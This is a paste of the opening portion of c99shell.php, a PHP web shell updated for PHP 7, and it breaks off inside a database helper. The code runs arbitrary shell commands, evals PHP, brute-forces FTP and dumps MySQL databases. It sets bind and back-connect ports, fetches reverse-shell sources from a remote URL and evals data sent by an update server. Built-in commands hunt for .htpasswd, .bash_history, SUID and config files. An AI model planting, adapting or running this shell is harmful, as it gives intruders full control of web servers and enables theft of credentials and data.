· 4 years ago · Dec 08, 2020, 12:36 PM
1<?php
2/*
3******************************************************************************************************
4 ________ ________ _________.__ .__ .__ ________ _______
5 ____/ __ \/ __ \ / _____/| |__ ____ | | | | ___ __ \_____ \ \ _ \
6_/ ___\____ /\____ / \_____ \ | | \_/ __ \| | | | \ \/ / / ____/ / /_\ \
7\ \___ / / / / / \| Y \ ___/| |_| |__ \ / / \ \ \_/ \
8 \___ >/____/ /____/ /_______ /|___| /\___ >____/____/ \_/ /\ \_______ \ /\ \_____ /
9 \/ \/ \/ \/ \/ \/ \/ \/
10 _ _ __ _ _ _
11| | | | / / (_) | | (_)
12| |__ _ _ | |/ / __ _ _ _______ _ __ | | ___ _ _ _ ___
13| '_ \| | | | | \ / _` | |_ / _ \ '_ \| | / _ \| | | | |/ _ \
14| |_) | |_| | | |\ \ (_| | |/ / __/ | | | |___| (_) | |_| | | __/
15|_.__/ \__, | \_| \_/\__,_|_/___\___|_| |_\_____/\___/ \__,_|_|\___|
16 __/ |
17 |___/
18* c99shell.php v.2.0 (PHP 7) (25.02.2019) Updated by: KaizenLouie for PHP 7
19* https://github.com/KaizenLouie/C99Shell-PHP7
20******************************************************************************************************
21*/
22
23if (!function_exists("getmicrotime"))
24{
25 function getmicrotime()
26 {
27 list($usec, $sec) = explode(" ", microtime());
28 return ((float)$usec + (float)$sec);
29 }
30}
31error_reporting(5);
32@ignore_user_abort(true);
33$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
34define("starttime", getmicrotime());
35if (get_magic_quotes_gpc())
36{
37 if (!function_exists("strips"))
38 {
39 function strips(&$arr, $k = "")
40 {
41 if (is_array($arr))
42 {
43 foreach ($arr as $k => $v)
44 {
45 if (strtoupper($k) != "GLOBALS")
46 {
47 strips($arr["$k"]);
48 }
49 }
50 }
51 else
52 {
53 $arr = stripslashes($arr);
54 }
55 }
56 }
57 strips($GLOBALS);
58}
59$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
60foreach ($_REQUEST as $k => $v)
61{
62 if (!isset($$k))
63 {
64 $$k = $v;
65 }
66}
67$shver = "2.0 [PHP 7 Update] [25.02.2019]";
68if (!empty($unset_surl))
69{
70 setcookie("c99sh_surl");
71 $surl = "";
72}
73elseif (!empty($set_surl))
74{
75 $surl = $set_surl;
76 setcookie("c99sh_surl", $surl);
77}
78else
79{
80 $surl = $_REQUEST["c99sh_surl"];
81}
82$surl_autofill_include = true;
83if ($surl_autofill_include and !$_REQUEST["c99sh_surl"])
84{
85 $include = "&";
86 foreach (explode("&", getenv("QUERY_STRING")) as $v)
87 {
88 $v = explode("=", $v);
89 $name = urldecode($v[0]);
90 $value = urldecode($v[1]);
91 foreach (array(
92 "http://",
93 "https://",
94 "ssl://",
95 "ftp://",
96 "\\\\"
97 ) as $needle)
98 {
99 if (strpos($value, $needle) === 0)
100 {
101 $includestr .= urlencode($name) . "=" . urlencode($value) . "&";
102 }
103 }
104 }
105 if ($_REQUEST["surl_autofill_include"])
106 {
107 $includestr .= "surl_autofill_include=1&";
108 }
109}
110if (empty($surl))
111{
112 $surl = "?" . $includestr;
113}
114$surl = htmlspecialchars($surl);
115$timelimit = 0;
116$login = "";
117$pass = "";
118$md5_pass = "";
119$host_allow = array(
120 "*"
121);
122$login_txt = "Restricted area";
123$accessdeniedmess = "<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell v." . $shver . "</a>: access denied";
124$gzipencode = true;
125$updatenow = false;
126$c99sh_updateurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
127$c99sh_sourcesurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
128$filestealth = true;
129$donated_html = "<center><b>Owned by hacker</b></center>";
130$donated_act = array(
131 ""
132);
133$curdir = "./";
134$tmpdir = "";
135$tmpdir_log = "./";
136$log_email = "user@host.tld";
137$sort_default = "0a";
138$sort_save = true;
139$ftypes = array(
140 "html" => array(
141 "html",
142 "htm",
143 "shtml"
144 ) ,
145 "txt" => array(
146 "txt",
147 "conf",
148 "bat",
149 "sh",
150 "js",
151 "bak",
152 "doc",
153 "log",
154 "sfc",
155 "cfg",
156 "htaccess"
157 ) ,
158 "exe" => array(
159 "sh",
160 "install",
161 "bat",
162 "cmd"
163 ) ,
164 "ini" => array(
165 "ini",
166 "inf"
167 ) ,
168 "code" => array(
169 "php",
170 "phtml",
171 "php3",
172 "php4",
173 "inc",
174 "tcl",
175 "h",
176 "c",
177 "cpp",
178 "py",
179 "cgi",
180 "pl"
181 ) ,
182 "img" => array(
183 "gif",
184 "png",
185 "jpeg",
186 "jfif",
187 "jpg",
188 "jpe",
189 "bmp",
190 "ico",
191 "tif",
192 "tiff",
193 "avi",
194 "mpg",
195 "mpeg"
196 ) ,
197 "sdb" => array(
198 "sdb"
199 ) ,
200 "phpsess" => array(
201 "sess"
202 ) ,
203 "download" => array(
204 "exe",
205 "com",
206 "pif",
207 "src",
208 "lnk",
209 "zip",
210 "rar",
211 "gz",
212 "tar"
213 )
214);
215$exeftypes = array(
216 getenv("PHPRC") . " -q %f%" => array(
217 "php",
218 "php3",
219 "php4"
220 ) ,
221 "perl %f%" => array(
222 "pl",
223 "cgi"
224 )
225);
226$regxp_highlight = array(
227 array(
228 basename($_SERVER["PHP_SELF"]) ,
229 1,
230 "<font color=\"yellow\">",
231 "</font>"
232 ) ,
233 array(
234 "config.php",
235 1
236 )
237);
238$safemode_diskettes = array(
239 "a"
240);
241$hexdump_lines = 8;
242$hexdump_rows = 24;
243$nixpwdperpage = 100;
244$bindport_pass = "c99";
245$bindport_port = "31373";
246$bc_port = "31373";
247$datapipe_localport = "8081";
248if (!$win)
249{
250 $cmdaliases = array(
251 array(
252 "-----------------------------------------------------------",
253 "ls -la"
254 ) ,
255 array(
256 "find all suid files",
257 "find / -type f -perm -04000 -ls"
258 ) ,
259 array(
260 "find suid files in current dir",
261 "find . -type f -perm -04000 -ls"
262 ) ,
263 array(
264 "find all sgid files",
265 "find / -type f -perm -02000 -ls"
266 ) ,
267 array(
268 "find sgid files in current dir",
269 "find . -type f -perm -02000 -ls"
270 ) ,
271 array(
272 "find config.inc.php files",
273 "find / -type f -name config.inc.php"
274 ) ,
275 array(
276 "find config* files",
277 "find / -type f -name \"config*\""
278 ) ,
279 array(
280 "find config* files in current dir",
281 "find . -type f -name \"config*\""
282 ) ,
283 array(
284 "find all writable folders and files",
285 "find / -perm -2 -ls"
286 ) ,
287 array(
288 "find all writable folders and files in current dir",
289 "find . -perm -2 -ls"
290 ) ,
291 array(
292 "find all service.pwd files",
293 "find / -type f -name service.pwd"
294 ) ,
295 array(
296 "find service.pwd files in current dir",
297 "find . -type f -name service.pwd"
298 ) ,
299 array(
300 "find all .htpasswd files",
301 "find / -type f -name .htpasswd"
302 ) ,
303 array(
304 "find .htpasswd files in current dir",
305 "find . -type f -name .htpasswd"
306 ) ,
307 array(
308 "find all .bash_history files",
309 "find / -type f -name .bash_history"
310 ) ,
311 array(
312 "find .bash_history files in current dir",
313 "find . -type f -name .bash_history"
314 ) ,
315 array(
316 "find all .fetchmailrc files",
317 "find / -type f -name .fetchmailrc"
318 ) ,
319 array(
320 "find .fetchmailrc files in current dir",
321 "find . -type f -name .fetchmailrc"
322 ) ,
323 array(
324 "list file attributes on a Linux second extended file system",
325 "lsattr -va"
326 ) ,
327 array(
328 "show opened ports",
329 "netstat -an | grep -i listen"
330 )
331 );
332}
333else
334{
335 $cmdaliases = array(
336 array(
337 "-----------------------------------------------------------",
338 "dir"
339 ) ,
340 array(
341 "show opened ports",
342 "netstat -an"
343 )
344 );
345}
346$sess_cookie = "c99shvars";
347$usefsbuff = true;
348$copy_unset = false;
349$quicklaunch = array(
350 array(
351 "<img src=\"" . $surl . "act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",
352 $surl
353 ) ,
354 array(
355 "<img src=\"" . $surl . "act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">",
356 "#\" onclick=\"history.back(1)"
357 ) ,
358 array(
359 "<img src=\"" . $surl . "act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">",
360 "#\" onclick=\"history.go(1)"
361 ) ,
362 array(
363 "<img src=\"" . $surl . "act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",
364 $surl . "act=ls&d=%upd&sort=%sort"
365 ) ,
366 array(
367 "<img src=\"" . $surl . "act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",
368 ""
369 ) ,
370 array(
371 "<img src=\"" . $surl . "act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",
372 $surl . "act=search&d=%d"
373 ) ,
374 array(
375 "<img src=\"" . $surl . "act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",
376 $surl . "act=fsbuff&d=%d"
377 ) ,
378 array(
379 "<b>Encoder</b>",
380 $surl . "act=encoder&d=%d"
381 ) ,
382 array(
383 "<b>Tools</b>",
384 $surl . "act=tools&d=%d"
385 ) ,
386 array(
387 "<b>Proc.</b>",
388 $surl . "act=processes&d=%d"
389 ) ,
390 array(
391 "<b>FTP brute</b>",
392 $surl . "act=ftpquickbrute&d=%d"
393 ) ,
394 array(
395 "<b>Sec.</b>",
396 $surl . "act=security&d=%d"
397 ) ,
398 array(
399 "<b>SQL</b>",
400 $surl . "act=sql&d=%d"
401 ) ,
402 array(
403 "<b>PHP-code</b>",
404 $surl . "act=eval&d=%d"
405 ) ,
406 array(
407 "<b>Update</b>",
408 $surl . "act=update&d=%d"
409 ) ,
410 array(
411 "<b>Feedback</b>",
412 $surl . "act=feedback&d=%d"
413 ) ,
414 array(
415 "<b>Self remove</b>",
416 $surl . "act=selfremove"
417 ) ,
418 array(
419 "<b>Logout</b>",
420 "#\" onclick=\"if (confirm('Are you sure?')) window.close()"
421 )
422);
423$highlight_background = "#c0c0c0";
424$highlight_bg = "#FFFFFF";
425$highlight_comment = "#6A6A6A";
426$highlight_default = "#0000BB";
427$highlight_html = "#1300FF";
428$highlight_keyword = "#007700";
429$highlight_string = "#000000";
430@$f = $_REQUEST["f"];
431@extract($_REQUEST["c99shcook"]);
432@set_time_limit(0);
433$tmp = array();
434foreach ($host_allow as $k => $v)
435{
436 $tmp[] = str_replace("\\*", ".*", preg_quote($v));
437}
438$s = "!^(" . implode("|", $tmp) . ")$!i";
439if (!preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR"))))
440{
441 exit("<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell</a>: Access Denied - your host (" . getenv("REMOTE_ADDR") . ") not allow");
442}
443if (!empty($login))
444{
445 if (empty($md5_pass))
446 {
447 $md5_pass = md5($pass);
448 }
449 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
450 {
451 if (empty($login_txt))
452 {
453 $login_txt = strip_tags(preg_replace(" |<br>", " ", $donated_html));
454 }
455 header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
456 header("HTTP/1.0 401 Unauthorized");
457 exit($accessdeniedmess);
458 }
459}
460if ($act != "img")
461{
462 $lastdir = realpath(".");
463 chdir($curdir);
464 if ($selfwrite or $updatenow)
465 {
466 @ob_clean();
467 c99sh_getupdate($selfwrite, 1);
468 exit;
469 }
470 $sess_data = unserialize($_COOKIE["$sess_cookie"]);
471 if (!is_array($sess_data))
472 {
473 $sess_data = array();
474 }
475 if (!is_array($sess_data["copy"]))
476 {
477 $sess_data["copy"] = array();
478 }
479 if (!is_array($sess_data["cut"]))
480 {
481 $sess_data["cut"] = array();
482 }
483 $disablefunc = @ini_get("disable_functions");
484 if (!empty($disablefunc))
485 {
486 $disablefunc = str_replace(" ", "", $disablefunc);
487 $disablefunc = explode(",", $disablefunc);
488 }
489 if (!function_exists("c99_buff_prepare"))
490 {
491 function c99_buff_prepare()
492 {
493 global $sess_data;
494 global $act;
495 foreach ($sess_data["copy"] as $k => $v)
496 {
497 $sess_data["copy"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
498 }
499 foreach ($sess_data["cut"] as $k => $v)
500 {
501 $sess_data["cut"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
502 }
503 $sess_data["copy"] = array_unique($sess_data["copy"]);
504 $sess_data["cut"] = array_unique($sess_data["cut"]);
505 sort($sess_data["copy"]);
506 sort($sess_data["cut"]);
507 if ($act != "copy")
508 {
509 foreach ($sess_data["cut"] as $k => $v)
510 {
511 if ($sess_data["copy"][$k] == $v)
512 {
513 unset($sess_data["copy"][$k]);
514 }
515 }
516 }
517 else
518 {
519 foreach ($sess_data["copy"] as $k => $v)
520 {
521 if ($sess_data["cut"][$k] == $v)
522 {
523 unset($sess_data["cut"][$k]);
524 }
525 }
526 }
527 }
528 }
529 c99_buff_prepare();
530 if (!function_exists("c99_sess_put"))
531 {
532 function c99_sess_put($data)
533 {
534 global $sess_cookie;
535 global $sess_data;
536 c99_buff_prepare();
537 $sess_data = $data;
538 $data = serialize($data);
539 setcookie($sess_cookie, $data);
540 }
541 }
542 foreach (array(
543 "sort",
544 "sql_sort"
545 ) as $v)
546 {
547 if (!empty($_GET[$v]))
548 {
549 $$v = $_GET[$v];
550 }
551 if (!empty($_POST[$v]))
552 {
553 $$v = $_POST[$v];
554 }
555 }
556 if ($sort_save)
557 {
558 if (!empty($sort))
559 {
560 setcookie("sort", $sort);
561 }
562 if (!empty($sql_sort))
563 {
564 setcookie("sql_sort", $sql_sort);
565 }
566 }
567 if (!function_exists("str2mini"))
568 {
569 function str2mini($content, $len)
570 {
571 if (strlen($content) > $len)
572 {
573 $len = ceil($len / 2) - 2;
574 return substr($content, 0, $len) . "..." . substr($content, -$len);
575 }
576 else
577 {
578 return $content;
579 }
580 }
581 }
582 if (!function_exists("view_size"))
583 {
584 function view_size($size)
585 {
586 if (!is_numeric($size))
587 {
588 return false;
589 }
590 else
591 {
592 if ($size >= 1073741824)
593 {
594 $size = round($size / 1073741824 * 100) / 100 . " GB";
595 }
596 elseif ($size >= 1048576)
597 {
598 $size = round($size / 1048576 * 100) / 100 . " MB";
599 }
600 elseif ($size >= 1024)
601 {
602 $size = round($size / 1024 * 100) / 100 . " KB";
603 }
604 else
605 {
606 $size = $size . " B";
607 }
608 return $size;
609 }
610 }
611 }
612 if (!function_exists("fs_copy_dir"))
613 {
614 function fs_copy_dir($d, $t)
615 {
616 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
617 if (substr($d, -1) != DIRECTORY_SEPARATOR)
618 {
619 $d .= DIRECTORY_SEPARATOR;
620 }
621 $h = opendir($d);
622 while (($o = readdir($h)) !== false)
623 {
624 if (($o != ".") and ($o != ".."))
625 {
626 if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
627 {
628 $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
629 }
630 else
631 {
632 $ret = mkdir($t . DIRECTORY_SEPARATOR . $o);
633 fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
634 }
635 if (!$ret)
636 {
637 return $ret;
638 }
639 }
640 }
641 closedir($h);
642 return true;
643 }
644 }
645 if (!function_exists("fs_copy_obj"))
646 {
647 function fs_copy_obj($d, $t)
648 {
649 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
650 $t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
651 if (!is_dir(dirname($t)))
652 {
653 mkdir(dirname($t));
654 }
655 if (is_dir($d))
656 {
657 if (substr($d, -1) != DIRECTORY_SEPARATOR)
658 {
659 $d .= DIRECTORY_SEPARATOR;
660 }
661 if (substr($t, -1) != DIRECTORY_SEPARATOR)
662 {
663 $t .= DIRECTORY_SEPARATOR;
664 }
665 return fs_copy_dir($d, $t);
666 }
667 elseif (is_file($d))
668 {
669 return copy($d, $t);
670 }
671 else
672 {
673 return false;
674 }
675 }
676 }
677 if (!function_exists("fs_move_dir"))
678 {
679 function fs_move_dir($d, $t)
680 {
681 $h = opendir($d);
682 if (!is_dir($t))
683 {
684 mkdir($t);
685 }
686 while (($o = readdir($h)) !== false)
687 {
688 if (($o != ".") and ($o != ".."))
689 {
690 $ret = true;
691 if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
692 {
693 $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
694 }
695 else
696 {
697 if (mkdir($t . DIRECTORY_SEPARATOR . $o) and fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o))
698 {
699 $ret = false;
700 }
701 }
702 if (!$ret)
703 {
704 return $ret;
705 }
706 }
707 }
708 closedir($h);
709 return true;
710 }
711 }
712 if (!function_exists("fs_move_obj"))
713 {
714 function fs_move_obj($d, $t)
715 {
716 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
717 $t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
718 if (is_dir($d))
719 {
720 if (substr($d, -1) != DIRECTORY_SEPARATOR)
721 {
722 $d .= DIRECTORY_SEPARATOR;
723 }
724 if (substr($t, -1) != DIRECTORY_SEPARATOR)
725 {
726 $t .= DIRECTORY_SEPARATOR;
727 }
728 return fs_move_dir($d, $t);
729 }
730 elseif (is_file($d))
731 {
732 if (copy($d, $t))
733 {
734 return unlink($d);
735 }
736 else
737 {
738 unlink($t);
739 return false;
740 }
741 }
742 else
743 {
744 return false;
745 }
746 }
747 }
748 if (!function_exists("fs_rmdir"))
749 {
750 function fs_rmdir($d)
751 {
752 $h = opendir($d);
753 while (($o = readdir($h)) !== false)
754 {
755 if (($o != ".") and ($o != ".."))
756 {
757 if (!is_dir($d . $o))
758 {
759 unlink($d . $o);
760 }
761 else
762 {
763 fs_rmdir($d . $o . DIRECTORY_SEPARATOR);
764 rmdir($d . $o);
765 }
766 }
767 }
768 closedir($h);
769 rmdir($d);
770 return !is_dir($d);
771 }
772 }
773 if (!function_exists("fs_rmobj"))
774 {
775 function fs_rmobj($o)
776 {
777 $o = str_replace("\\", DIRECTORY_SEPARATOR, $o);
778 if (is_dir($o))
779 {
780 if (substr($o, -1) != DIRECTORY_SEPARATOR)
781 {
782 $o .= DIRECTORY_SEPARATOR;
783 }
784 return fs_rmdir($o);
785 }
786 elseif (is_file($o))
787 {
788 return unlink($o);
789 }
790 else
791 {
792 return false;
793 }
794 }
795 }
796 if (!function_exists("myshellexec"))
797 {
798 function myshellexec($cmd)
799 {
800 global $disablefunc;
801 $result = "";
802 if (!empty($cmd))
803 {
804 if (is_callable("exec") and !in_array("exec", $disablefunc))
805 {
806 exec($cmd, $result);
807 $result = join("\n", $result);
808 }
809 elseif (($result = `$cmd`) !== false)
810 {
811 }
812 elseif (is_callable("system") and !in_array("system", $disablefunc))
813 {
814 $v = @ob_get_contents();
815 @ob_clean();
816 system($cmd);
817 $result = @ob_get_contents();
818 @ob_clean();
819 echo $v;
820 }
821 elseif (is_callable("passthru") and !in_array("passthru", $disablefunc))
822 {
823 $v = @ob_get_contents();
824 @ob_clean();
825 passthru($cmd);
826 $result = @ob_get_contents();
827 @ob_clean();
828 echo $v;
829 }
830 elseif (is_resource($fp = popen($cmd, "r")))
831 {
832 $result = "";
833 while (!feof($fp))
834 {
835 $result .= fread($fp, 1024);
836 }
837 pclose($fp);
838 }
839 }
840 return $result;
841 }
842 }
843 if (!function_exists("tabsort"))
844 {
845 function tabsort($a, $b)
846 {
847 global $v;
848 return strnatcmp($a[$v], $b[$v]);
849 }
850 }
851 if (!function_exists("view_perms"))
852 {
853 function view_perms($mode)
854 {
855 if (($mode & 0xC000) === 0xC000)
856 {
857 $type = "s";
858 }
859 elseif (($mode & 0x4000) === 0x4000)
860 {
861 $type = "d";
862 }
863 elseif (($mode & 0xA000) === 0xA000)
864 {
865 $type = "l";
866 }
867 elseif (($mode & 0x8000) === 0x8000)
868 {
869 $type = "-";
870 }
871 elseif (($mode & 0x6000) === 0x6000)
872 {
873 $type = "b";
874 }
875 elseif (($mode & 0x2000) === 0x2000)
876 {
877 $type = "c";
878 }
879 elseif (($mode & 0x1000) === 0x1000)
880 {
881 $type = "p";
882 }
883 else
884 {
885 $type = "?";
886 }
887 $owner["read"] = ($mode & 00400) ? "r" : "-";
888 $owner["write"] = ($mode & 00200) ? "w" : "-";
889 $owner["execute"] = ($mode & 00100) ? "x" : "-";
890 $group["read"] = ($mode & 00040) ? "r" : "-";
891 $group["write"] = ($mode & 00020) ? "w" : "-";
892 $group["execute"] = ($mode & 00010) ? "x" : "-";
893 $world["read"] = ($mode & 00004) ? "r" : "-";
894 $world["write"] = ($mode & 00002) ? "w" : "-";
895 $world["execute"] = ($mode & 00001) ? "x" : "-";
896 if ($mode & 0x800)
897 {
898 $owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";
899 }
900 if ($mode & 0x400)
901 {
902 $group["execute"] = ($group["execute"] == "x") ? "s" : "S";
903 }
904 if ($mode & 0x200)
905 {
906 $world["execute"] = ($world["execute"] == "x") ? "t" : "T";
907 }
908 return $type . join("", $owner) . join("", $group) . join("", $world);
909 }
910 }
911 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid", $disablefunc))
912 {
913 function posix_getpwuid($uid)
914 {
915 return false;
916 }
917 }
918 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid", $disablefunc))
919 {
920 function posix_getgrgid($gid)
921 {
922 return false;
923 }
924 }
925 if (!function_exists("posix_kill") and !in_array("posix_kill", $disablefunc))
926 {
927 function posix_kill($gid)
928 {
929 return false;
930 }
931 }
932 if (!function_exists("parse_perms"))
933 {
934 function parse_perms($mode)
935 {
936 if (($mode & 0xC000) === 0xC000)
937 {
938 $t = "s";
939 }
940 elseif (($mode & 0x4000) === 0x4000)
941 {
942 $t = "d";
943 }
944 elseif (($mode & 0xA000) === 0xA000)
945 {
946 $t = "l";
947 }
948 elseif (($mode & 0x8000) === 0x8000)
949 {
950 $t = "-";
951 }
952 elseif (($mode & 0x6000) === 0x6000)
953 {
954 $t = "b";
955 }
956 elseif (($mode & 0x2000) === 0x2000)
957 {
958 $t = "c";
959 }
960 elseif (($mode & 0x1000) === 0x1000)
961 {
962 $t = "p";
963 }
964 else
965 {
966 $t = "?";
967 }
968 $o["r"] = ($mode & 00400) > 0;
969 $o["w"] = ($mode & 00200) > 0;
970 $o["x"] = ($mode & 00100) > 0;
971 $g["r"] = ($mode & 00040) > 0;
972 $g["w"] = ($mode & 00020) > 0;
973 $g["x"] = ($mode & 00010) > 0;
974 $w["r"] = ($mode & 00004) > 0;
975 $w["w"] = ($mode & 00002) > 0;
976 $w["x"] = ($mode & 00001) > 0;
977 return array(
978 "t" => $t,
979 "o" => $o,
980 "g" => $g,
981 "w" => $w
982 );
983 }
984 }
985 if (!function_exists("parsesort"))
986 {
987 function parsesort($sort)
988 {
989 $one = intval($sort);
990 $second = substr($sort, -1);
991 if ($second != "d")
992 {
993 $second = "a";
994 }
995 return array(
996 $one,
997 $second
998 );
999 }
1000 }
1001 if (!function_exists("view_perms_color"))
1002 {
1003 function view_perms_color($o)
1004 {
1005 if (!is_readable($o))
1006 {
1007 return "<font color=red>" . view_perms(fileperms($o)) . "</font>";
1008 }
1009 elseif (!is_writable($o))
1010 {
1011 return "<font color=white>" . view_perms(fileperms($o)) . "</font>";
1012 }
1013 else
1014 {
1015 return "<font color=green>" . view_perms(fileperms($o)) . "</font>";
1016 }
1017 }
1018 }
1019 if (!function_exists("c99getsource"))
1020 {
1021 function c99getsource($fn)
1022 {
1023 global $c99sh_sourcesurl;
1024 $array = array(
1025 "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
1026 "c99sh_bindport.c" => "c99sh_bindport_c.txt",
1027 "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
1028 "c99sh_backconn.c" => "c99sh_backconn_c.txt",
1029 "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
1030 "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
1031 );
1032 $name = $array[$fn];
1033 if ($name)
1034 {
1035 return file_get_contents($c99sh_sourcesurl . $name);
1036 }
1037 else
1038 {
1039 return false;
1040 }
1041 }
1042 }
1043 if (!function_exists("c99sh_getupdate"))
1044 {
1045 function c99sh_getupdate($update = true)
1046 {
1047 $url = $GLOBALS["c99sh_updateurl"] . "?version=" . urlencode(base64_encode($GLOBALS["shver"])) . "&updatenow=" . ($updatenow ? "1" : "0") . "&";
1048 $data = @file_get_contents($url);
1049 if (!$data)
1050 {
1051 return "Can't connect to update-server!";
1052 }
1053 else
1054 {
1055 $data = ltrim($data);
1056 $string = substr($data, 3, ord($data{2}));
1057 if ($data{0} == "\x99" and $data{1} == "\x01")
1058 {
1059 return "Error: " . $string;
1060 return false;
1061 }
1062 if ($data{0} == "\x99" and $data{1} == "\x02")
1063 {
1064 return "You are using latest version!";
1065 }
1066 if ($data{0} == "\x99" and $data{1} == "\x03")
1067 {
1068 $string = explode("\x01", $string);
1069 if ($update)
1070 {
1071 $confvars = array();
1072 $sourceurl = $string[0];
1073 $source = file_get_contents($sourceurl);
1074 if (!$source)
1075 {
1076 return "Can't fetch update!";
1077 }
1078 else
1079 {
1080 $fp = fopen(__FILE__, "w");
1081 if (!$fp)
1082 {
1083 return "Local error: can't write update to " . __FILE__ . "! You may download c99shell.php manually <a href=\"" . $sourceurl . "\"><u>here</u></a>.";
1084 }
1085 else
1086 {
1087 fwrite($fp, $source);
1088 fclose($fp);
1089 return "Thanks! Updated with success.";
1090 }
1091 }
1092 }
1093 else
1094 {
1095 return "New version are available: " . $string[1];
1096 }
1097 }
1098 elseif ($data{0} == "\x99" and $data{1} == "\x04")
1099 {
1100 eval($string);
1101 return 1;
1102 }
1103 else
1104 {
1105 return "Error in protocol: segmentation failed! (" . $data . ") ";
1106 }
1107 }
1108 }
1109 }
1110 if (!function_exists("mysql_dump"))
1111 {
1112 function mysql_dump($set)
1113 {
1114 global $shver;
1115 $sock = $set["sock"];
1116 $db = $set["db"];
1117 $print = $set["print"];
1118 $nl2br = $set["nl2br"];
1119 $file = $set["file"];
1120 $add_drop = $set["add_drop"];
1121 $tabs = $set["tabs"];
1122 $onlytabs = $set["onlytabs"];
1123 $ret = array();
1124 $ret["err"] = array();
1125 if (!is_resource($sock))
1126 {
1127 echo ("Error: \$sock is not valid resource.");
1128 }
1129 if (empty($db))
1130 {
1131 $db = "db";
1132 }
1133 if (empty($print))
1134 {
1135 $print = 0;
1136 }
1137 if (empty($nl2br))
1138 {
1139 $nl2br = 0;
1140 }
1141 if (empty($add_drop))
1142 {
1143 $add_drop = true;
1144 }
1145 if (empty($file))
1146 {
1147 $file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
1148 }
1149 if (!is_array($tabs))
1150 {
1151 $tabs = array();
1152 }
1153 if (empty($add_drop))
1154 {
1155 $add_drop = true;
1156 }
1157 if (sizeof($tabs) == 0)
1158 {
1159 $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
1160 if (mysql_num_rows($res) > 0)
1161 {
1162 while ($row = mysql_fetch_row($res))
1163 {
1164 $tabs[] = $row[0];
1165 }
1166 }
1167 }
1168 $out = "# Dumped by C99Shell.SQL v. " . $shver . "
1169 # Home page: https://github.com/KaizenLouie/C99Shell-PHP7
1170 #
1171 # Host settings:
1172 # MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "
1173 # Date: " . date("d.m.Y H:i:s") . "
1174 # DB: \"" . $db . "\"
1175 #---------------------------------------------------------
1176";
1177 $c = count($onlytabs);
1178 foreach ($tabs as $tab)
1179 {
1180 if ((in_array($tab, $onlytabs)) or (!$c))
1181 {
1182 if ($add_drop)
1183 {
1184 $out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n";
1185 }
1186 $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
1187 if (!$res)
1188 {
1189 $ret["err"][] = mysql_smarterror();
1190 }
1191 else
1192 {
1193 $row = mysql_fetch_row($res);
1194 $out .= $row["1"] . ";\n\n";
1195 $res = mysql_query("SELECT * FROM `$tab`", $sock);
1196 if (mysql_num_rows($res) > 0)
1197 {
1198 while ($row = mysql_fetch_assoc($res))
1199 {
1200 $keys = implode("`, `", array_keys($row));
1201 $values = array_values($row);
1202 foreach ($values as $k => $v)
1203 {
1204 $values[$k] = addslashes($v);
1205 }
1206 $values = implode("', '", $values);
1207 $sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');\n";
1208 $out .= $sql;
1209 }
1210 }
1211 }
1212 }
1213 }
1214 $out .= "#---------------------------------------------------------------------------------\n\n";
1215 if ($file)
1216 {
1217 $fp = fopen($file, "w");
1218 if (!$fp)
1219 {
1220 $ret["err"][] = 2;
1221 }
1222 else
1223 {
1224 fwrite($fp, $out);
1225 fclose($fp);
1226 }
1227 }
1228 if ($print)
1229 {
1230 if ($nl2br)
1231 {
1232 echo nl2br($out);
1233 }
1234 else
1235 {
1236 echo $out;
1237 }
1238 }
1239 return $out;
1240 }
1241 }
1242 if (!function_exists("mysql_buildwhere"))
1243 {
1244 function mysql_buildwhere($array, $sep = " and", $functs = array())
1245 {
1246 if (!is_array($array))
1247 {
1248 $array = array();
1249 }
1250 $result = "";
1251 foreach ($array as $k => $v)
1252 {
1253 $value = "";
1254 if (!empty($functs[$k]))
1255 {
1256 $value .= $functs[$k] . "(";
1257 }
1258 $value .= "'" . addslashes($v) . "'";
